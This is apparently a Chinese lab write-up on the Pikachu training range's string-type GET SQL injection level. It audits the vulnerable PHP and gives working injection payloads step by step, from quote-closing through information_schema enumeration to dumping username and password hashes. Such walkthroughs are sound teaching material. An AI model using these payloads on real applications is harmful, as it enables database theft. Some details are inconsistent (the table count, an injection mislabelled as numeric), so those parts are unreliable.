当前位置: 首页 > news >正文

pikachu靶场通关笔记19 SQL注入02-字符型注入(GET)

目录

一、SQL注入

二、字符型SQL注入

三、字符型注入与数字型注入

四、源码分析

五、渗透实战

1、渗透准备

2、SQL注入探测

(1)输入单引号

(2)万能注入语句

3、获取回显列orderby

4、获取数据库名database

5、获取表名table

6、获取列名column

7、获取字段


本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对字符型注入(get)关卡源码的代码审计找到SQL安全风险原理,讲解字符型注入(get)的原理并进行渗透实践,本文为SQL注入02之字符型注入(get)关卡的渗透部分。

一、SQL注入

SQL注入(SQL Injection)是指攻击者通过在应用程序的输入参数中插入恶意SQL代码,欺骗服务器执行非预期的数据库操作。这是因为应用程序未对用户输入进行充分过滤或验证,直接将输入拼接到SQL查询语句中。

描述
基本定义通过构造恶意SQL语句插入到应用程序输入参数中,欺骗服务器执行非预期数据库操作
主要危害1. 数据泄露(用户信息、商业数据)
2. 数据篡改/删除
3. 服务器控制权获取
4. 数据库结构探测
防御措施1. 参数化查询(预编译语句)
2. 输入验证/过滤
3. 最小权限原则
4. WAF防护

二、字符型SQL注入

字符型注入主要针对字符型输入字段(如用户名、密码、搜索框等)进行攻击。攻击者通过在这些字段中插入恶意的SQL语句片段,干扰或篡改数据库的查询逻辑,从而实现非法操作,例如获取敏感数据、篡改数据或删除数据。

  • 输入参数被单引号(')或双引号(")包裹

  • 需要先闭合前引号才能注入恶意代码

  • 常见于用户名、搜索词等文本字段的处理

三、字符型注入与数字型注入

对比维度数值型注入字符型注入
参数类型处理整数/浮点数参数(如ID、价格等)处理字符串参数(如用户名、搜索词等)
语法特征无需引号包裹,直接拼接数字需用单引号(')或双引号(")包裹字符串
攻击原理通过算术运算或逻辑语句注入需先闭合引号再注入代码
注入示例id=1 AND 1=1
price=10-1
name=' OR '1'='1
user=admin'--
测试方法1. 直接附加逻辑(AND 1=1
2. 算术运算测试
1. 闭合引号测试(' OR '1'='1
2. 注释符测试
利用难度相对简单(无需处理引号)较复杂(需精确闭合引号)
防御盲区开发者易忽略非字符串参数的过滤开发者可能仅过滤单引号而忽略其他攻击方式
自动化工具检测SQLmap直接使用-p指定数字参数SQLmap需自动处理引号闭合(添加*标记注入点)

四、源码分析

打开pikachu靶场的SQL注入-字符型关卡对应的源码sqli_str.php,源码位置如下所示。

很明显查询语句没有对GET方法传入的参数id进行过滤,存在SQL注入风险,具体如下所示。

这段 PHP 代码的主要功能是处理一个通过 GET 方法提交的表单。当用户在 URL 中传递 submit 参数且 name 参数不为空时,代码会将用户输入的 name 作为条件,从 member 表中查询对应的 id 和 email 信息。如果查询到结果,则将用户的 id 和 email 信息以 HTML 段落的形式显示出来;如果没有查询到结果,则提示用户输入的 username 不存在。经过详细注释的代码如下所示。 

<?php
// 检查是否通过GET方法提交了表单,并且表单中名为 'name' 的字段不为空
if(isset($_GET['submit']) && $_GET['name']!=null){// 从GET请求中获取名为 'name' 的字段的值,并将其赋值给变量 $name$name=$_GET['name'];// 构造一个SQL查询语句,将用户输入的 $name 直接拼接到查询语句中// 此查询的目的是从 member 表中选取 username 等于用户输入值的记录的 id 和 email 字段// 注意:由于 $name 是字符型,在SQL语句中需要用单引号括起来$query="select id,email from member where username='$name'";// 调用 execute 函数执行构造好的 SQL 查询,$link 是数据库连接对象$result=execute($link, $query);// 检查查询结果集中的行数是否大于等于 1// mysqli_num_rows 函数用于获取结果集中的行数if(mysqli_num_rows($result)>=1){// 当结果集中有记录时,使用 while 循环逐行获取结果集的数据// mysqli_fetch_assoc 函数会以关联数组的形式返回结果集中的一行数据while($data=mysqli_fetch_assoc($result)){// 从关联数组 $data 中获取 'id' 字段的值,并赋值给变量 $id$id=$data['id'];// 从关联数组 $data 中获取 'email' 字段的值,并赋值给变量 $email$email=$data['email'];// 将用户信息拼接成 HTML 字符串,添加到变量 $html 中$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";}} else {// 如果结果集中没有记录,将提示信息拼接成 HTML 字符串,添加到变量 $html 中$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";}
}
?>

不过这段代码存在数值型 SQL 注入风险,原因在于对用户输入的 $name 未进行任何过滤和验证,就直接将其拼接到 SQL 查询语句里。由于 $name 是字符型,在 SQL 语句中用单引号包裹,攻击者可以利用这一点构造恶意输入。 

例如,攻击者在 URL 中输入 ?submit=1&name=' OR '1'='1 ,实际执行的 SQL 查询如下所示。

select id,email from member where username='' OR '1'='1';

因为 '1'='1' 恒为真,这个查询会返回 member 表中的所有记录,攻击者借此就能获取到所有用户的 id  email 信息。 

或者也可以URL 中输入 ?submit=1&name=' OR 1=1#,其中#注释掉了原本的单引号,实际执行的 SQL 查询如下所示。

select id,email from member where username='' OR 1=1#';

五、渗透实战

1、渗透准备

打开靶场SQL注入第二关,完整URL链接和页面如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php

输入已知账户“lili”,页面显示了用户名和邮箱信息,这与代码审计的分析一致。根据此时URL地址可知GET方法传入的参数为name,具体如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=lili&submit=%E6%9F%A5%E8%AF%A2#

2、SQL注入探测

(1)输入单引号

根据源码我们知道name为字符型注入点,那么我们从页面上能否发现有SQL注入呢?其实也是可疑的,在lili加上单引号,报错信息说明有注入风险,如下所示。

lili'

完整的报错信息为“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''lili''' at line 1”。 

(2)万能注入语句

接下来尝试万能注入语句,判断闭合语句,在数字后加上单引号 or= 1=1#万能注入语句,其中单引号是为了构造闭合,如下所示。

lili' or 1=1#

3、获取回显列orderby

使用order by判断其可回显的字段,如下所示最终判断其回显列数为2个。

lili' order by 3#

lili' order by 2#

由于回显位共两个,且通过orderby获知仅有两列,故而可知这两列已经全部显示出来了,即第一个回显位和第二个回显位都有效。

4、获取数据库名database

lili' union select database(),user()#

输入lili' union select database(),user()#后注入成功,显示信息为两个,第一个是原有信息,通过第二个获取到数据库名为pikachu,用户名为root@localhost,具体如下所示。 

接下来修改union前面的字符串,使前面内容为不存在的用户名,使只输出union后面的内容。 

-1' union select database(),user()#

输入id=-1 union select database(),user()#后注入成功,显示信息为1个,可以直接获取到数据库名为pikachu,用户名为root@localhost,具体如下所示。 

5、获取表名table

对pikchu数据库中表名进行爆破,注入命令如下所示。

id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

渗透后获取到数据库pikachu表有4个table,分别为httpinfo,member,message,users,xssblind,如下所示。

6、获取列名column

对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。

id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'#

渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。 

7、获取字段

对pikachu数据库中users表的username、password列进行爆破,命令如下所示。

id=-1 union select 1,group_concat(username,':',password) from pikachu.users#

渗透后获取到数据库users表的username、password字段如下所示,渗透成功。  

admin:e10adc3949ba59abbe56e057f20f883e,pikachu:670b14728ad9902aecba32e22fa4f6bd,test:e99a18c428cb38d5f260853678922e03

相关文章:

  • Ubuntu2404 下搭建 Zephyr 开发环境
  • 数据类型 -- 字符
  • groovy:java 发送一封带有附件的邮件
  • SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理)
  • excel中数字不满六位在左侧前面补0的方法
  • ClusterRole 和 ClusterRoleBinding 的关系及使用
  • 公路水运安全员B证的考试要点、速记口诀及备考指南
  • Shell 编程中的流程控制:从基础到实践
  • 阿里巴巴ROLL:大规模强化学习优化的高效易用解决方案
  • 当SAP系统内计划订单转换为生产订单时发生了什么?
  • Android启动时长优化(kernel部分)
  • 蓝牙音乐(A2DP)音频延迟的一些感想跟分析,让你对A2DP体验更佳深入
  • 什么是预训练?深入解读大模型AI的“高考集训”
  • 获取环境变量的两种方式:getenv()和environ
  • 元器件基础学习笔记——结型场效应晶体管 (JFET)
  • 打卡46天
  • 不要调用 TOARRAY() 从 LARAVEL COLLECTION 中获取所有项目
  • 【Linux】shell中的运行流程控制
  • 平面方程在不同坐标系下的变换与平移
  • Ubuntu 配置使用 zsh + 插件配置 + oh-my-zsh 美化过程
  • 建设官方网站企业网站/网络营销推广论文
  • 网站里的课程配图怎么做/黄石seo
  • 网站信用建设应该用什么技术/网站自助建站系统
  • 新乐网站建设/公司网站怎么建立
  • 北京免费发布企业信息网站/广告推广软文案例
  • 郑州app拉新项目/长沙seo顾问